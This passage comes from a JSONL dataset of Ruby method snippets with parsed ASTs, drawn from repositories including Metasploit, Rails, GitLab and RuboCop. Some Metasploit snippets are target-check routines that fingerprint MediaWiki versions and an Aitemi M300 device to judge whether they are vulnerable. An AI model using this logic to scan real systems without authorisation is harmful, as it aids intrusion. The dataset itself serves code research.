end","complexity_score":83.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"run_simple\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"omod\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"job_listener\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Simple\"]},\"NoopJobListener\"]},\"instance\"]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mod\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"omod\"]},\"replicant\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Simple\"]},\"Framework\"]},\"simplify_module\",{\"type\":\"lvar\",\"children\":[\"mod\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"_import_extra_options\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Action\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"datastore\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"ACTION\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Action\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"actions\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"action\"]},\"!\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"MissingActionError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Please use: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"actions\"]},\"collect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"e\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"name\"]}]},\"*\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"validate\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Quiet\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"init_ui\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LocalInput\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"user_input\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LocalOutput\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"user_output\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"init_ui\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"run_uuid\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"int\",\"children\":[24]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job_listener\"]},\"waiting\",{\"type\":\"lvar\",\"children\":[\"run_uuid\"]}]},{\"type\":\"lvasgn\",\"children\":[\"ctx\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},{\"type\":\"lvar\",\"children\":[\"run_uuid\"]},{\"type\":\"lvar\",\"children\":[\"job_listener\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"run_as_job\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RunAsJob\"]}]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"passive?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RunAsJob\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"run_as_job\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"job_id=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"framework\"]},\"jobs\"]},\"start_bg_job\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Auxiliary: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"refname\"]}]}]},{\"type\":\"lvar\",\"children\":[\"ctx\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Proc\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ctx_\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"job_run_proc\",{\"type\":\"lvar\",\"children\":[\"ctx_\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"run\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Proc\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ctx_\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"job_cleanup_proc\",{\"type\":\"lvar\",\"children\":[\"ctx_\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"omod\"]},\"job_id=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"job_id\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"run_uuid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"job_id\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"job_run_proc\",{\"type\":\"lvar\",\"children\":[\"ctx\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"run\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"job_cleanup_proc\",{\"type\":\"lvar\",\"children\":[\"ctx\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}]}]}","id":"dfd93498-db95-40ff-8a4c-554381890068"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relation/delete_all_test.rb","start_line":16,"raw_source":"def test_destroy_all\n    davids = Author.where(name: \"David\")\n\n    # Force load\n    assert_equal [authors(:david)], davids.to_a\n    assert_predicate davids, :loaded?\n\n    assert_difference(\"Author.count\", -1) do\n      destroyed = davids.destroy_all\n      assert_equal [authors(:david)], destroyed\n      assert_predicate destroyed.first, :frozen?\n    end\n\n    assert_equal [], davids.to_a\n    assert_predicate davids, :loaded?\n  end","complexity_score":19.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_destroy_all\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"davids\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Author\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"David\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authors\",{\"type\":\"sym\",\"children\":[\"david\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"davids\"]},\"to_a\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"davids\"]},{\"type\":\"sym\",\"children\":[\"loaded?\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_difference\",{\"type\":\"str\",\"children\":[\"Author.count\"]},{\"type\":\"int\",\"children\":[-1]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"destroyed\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"davids\"]},\"destroy_all\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authors\",{\"type\":\"sym\",\"children\":[\"david\"]}]}]},{\"type\":\"lvar\",\"children\":[\"destroyed\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"destroyed\"]},\"first\"]},{\"type\":\"sym\",\"children\":[\"frozen?\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"davids\"]},\"to_a\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"davids\"]},{\"type\":\"sym\",\"children\":[\"loaded?\"]}]}]}]}","id":"583aa853-04b1-488c-80e2-bd688e6d598c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/mediawiki_thumb.rb","start_line":126,"raw_source":"def check\n    uri = target_uri.path\n\n    opts = { 'uri' => normalize_uri(uri, 'index.php') }\n\n    response = send_request_cgi!(opts)\n\n    if opts['redirect_uri']\n      vprint_status(\"Redirected to #{opts['redirect_uri']}.\")\n    end\n\n    unless response\n      vprint_status(\"No response from #{full_uri}.\")\n      return CheckCode::Unknown\n    end\n\n    # Mediawiki will give a 404 for unknown pages but still have a body\n    if response.code == 200 || response.code == 404\n      vprint_status(\"#{response.code} response received...\")\n\n      major, minor, patch = get_version(response.body)\n\n      unless major\n        return CheckCode::Unknown\n      end\n\n      if major == 1 && (minor < 8 || minor > 22)\n        return CheckCode::Safe\n      elsif major == 1 && (minor == 22 && patch > 1)\n        return CheckCode::Safe\n      elsif major == 1 && (minor == 21 && patch > 4)\n        return CheckCode::Safe\n      elsif major == 1 && (minor == 19 && patch > 10)\n        return CheckCode::Safe\n      elsif major == 1\n        return CheckCode::Appears\n      else\n        return CheckCode::Safe\n      end\n    end\n\n    vprint_status(\"Received response code #{response.code} from #{full_uri}\")\n    CheckCode::Unknown\n  end","complexity_score":80.85,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]},{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"lvar\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"index.php\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi!\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"str\",\"children\":[\"redirect_uri\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Redirected to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"str\",\"children\":[\"redirect_uri\"]}]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"No response from \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"full_uri\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[404]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"code\"]}]},{\"type\":\"str\",\"children\":[\" response received...\"]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"major\"]},{\"type\":\"lvasgn\",\"children\":[\"minor\"]},{\"type\":\"lvasgn\",\"children\":[\"patch\"]}]},{\"type\":\"send\",\"children\":[null,\"get_version\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"major\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"major\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"minor\"]},\"<\",{\"type\":\"int\",\"children\":[8]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"minor\"]},\">\",{\"type\":\"int\",\"children\":[22]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"major\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"minor\"]},\"==\",{\"type\":\"int\",\"children\":[22]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"patch\"]},\">\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"major\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"minor\"]},\"==\",{\"type\":\"int\",\"children\":[21]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"patch\"]},\">\",{\"type\":\"int\",\"children\":[4]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"major\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"minor\"]},\"==\",{\"type\":\"int\",\"children\":[19]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"patch\"]},\">\",{\"type\":\"int\",\"children\":[10]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"major\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]}]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Received response code \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"code\"]}]},{\"type\":\"str\",\"children\":[\" from \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"full_uri\"]}]}]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\"]}]}]}","id":"941f3715-2a0f-4cd8-96be-9d42cf27a730"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/merge_request.rb","start_line":2856,"raw_source":"def report_type_enabled?(report_type)\n    supported_report_types_for_child_pipelines = [:sast, :secret_detection, :container_scanning]\n\n    if report_type == :license_scanning\n      ::Gitlab::LicenseScanning.scanner_for_pipeline(project, diff_head_pipeline).has_data?\n    elsif supported_report_types_for_child_pipelines.include?(report_type) && Feature.enabled?(:show_child_security_reports_in_mr_widget, project)\n      pipeline_has_report_in_self_or_descendants?(report_type)\n    else\n      !!diff_head_pipeline&.batch_lookup_report_artifact_for_file_type(report_type)\n    end\n  end","complexity_score":21.7,"ast_json":"{\"type\":\"def\",\"children\":[\"report_type_enabled?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"report_type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"supported_report_types_for_child_pipelines\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"sast\"]},{\"type\":\"sym\",\"children\":[\"secret_detection\"]},{\"type\":\"sym\",\"children\":[\"container_scanning\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report_type\"]},\"==\",{\"type\":\"sym\",\"children\":[\"license_scanning\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"LicenseScanning\"]},\"scanner_for_pipeline\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"diff_head_pipeline\"]}]},\"has_data?\"]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"supported_report_types_for_child_pipelines\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"report_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"enabled?\",{\"type\":\"sym\",\"children\":[\"show_child_security_reports_in_mr_widget\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]}]},{\"type\":\"send\",\"children\":[null,\"pipeline_has_report_in_self_or_descendants?\",{\"type\":\"lvar\",\"children\":[\"report_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"diff_head_pipeline\"]},\"batch_lookup_report_artifact_for_file_type\",{\"type\":\"lvar\",\"children\":[\"report_type\"]}]},\"!\"]},\"!\"]}]}]}]}]}","id":"d87aa7d3-48ba-4920-89cd-27d90a91905d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/freebsd/local/intel_sysret_priv_esc.rb","start_line":107,"raw_source":"def strip_comments(c_code)\n    c_code.gsub(%r{/\\*.*?\\*/}m, '').gsub(%r{^\\s*//.*$}, '')\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"strip_comments\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c_code\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c_code\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"/\\\\*.*?\\\\*/\"]},{\"type\":\"regopt\",\"children\":[\"m\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^\\\\s*//.*$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}","id":"58b2b8a4-6403-4321-aa33-50e36b469c9f"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/config_obsoletion.rb","start_line":138,"raw_source":"def obsoletions\n      rules.map do |rule|\n        next unless rule.violated?\n\n        if rule.warning?\n          @warnings.push(rule.message)\n          next\n        end\n\n        rule.message\n      end\n    end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"obsoletions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rules\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rule\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rule\"]},\"violated?\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rule\"]},\"warning?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@warnings\"]},\"push\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rule\"]},\"message\"]}]},{\"type\":\"next\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rule\"]},\"message\"]}]}]}]}","id":"c043e206-fde4-462d-b33a-b1bebc4df2fa"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/aitemi_m300_time_rce.rb","start_line":77,"raw_source":"def check\n    fingerprint_hits = []\n\n    res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, 'favicon.ico')\n    )\n\n    return CheckCode::Unknown('No response from target') unless res\n    return CheckCode::Safe('favicon.ico not found') unless res.code == 200\n\n    hash = Digest::SHA256.hexdigest(res.body)\n    if hash == 'eed1926b9b10ed9c54de6215dded343d066f7e447a7b62fe9700b7af4b34d8ee'\n      print_good('Favicon hash matched – likely Aitemi M300 device')\n      fingerprint_hits << 'favicon'\n    end\n\n    server_header = res.headers['Server']\n    if server_header&.start_with?('lighttpd/1.4.32')\n      print_good(\"HTTP server version matched: #{server_header}\")\n      fingerprint_hits << 'httpd'\n    end\n\n    %w[index.html home.html].each do |page|\n      res_html = send_request_cgi(\n        'method' => 'GET',\n        'uri' => normalize_uri(target_uri.path, page)\n      )\n\n      next unless res_html&.code == 200\n\n      if res_html.body.include?('langen.js') && res_html.body.include?('dw(TT_SetWifiExt)')\n        print_good(\"HTML fingerprint matched in #{page} – UI strings detected\")\n        return CheckCode::Appears('HTML language markers confirmed')\n      end\n    end\n\n    if fingerprint_hits.any?\n      return CheckCode::Detected(\"Partial match: #{fingerprint_hits.join(', ')}\")\n    end\n\n    CheckCode::Unknown('No identifiable fingerprint found')\n  end","complexity_score":58.65,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fingerprint_hits\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"favicon.ico\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"No response from target\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\",{\"type\":\"str\",\"children\":[\"favicon.ico not found\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hash\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"SHA256\"]},\"hexdigest\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"==\",{\"type\":\"str\",\"children\":[\"eed1926b9b10ed9c54de6215dded343d066f7e447a7b62fe9700b7af4b34d8ee\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Favicon hash matched – likely Aitemi M300 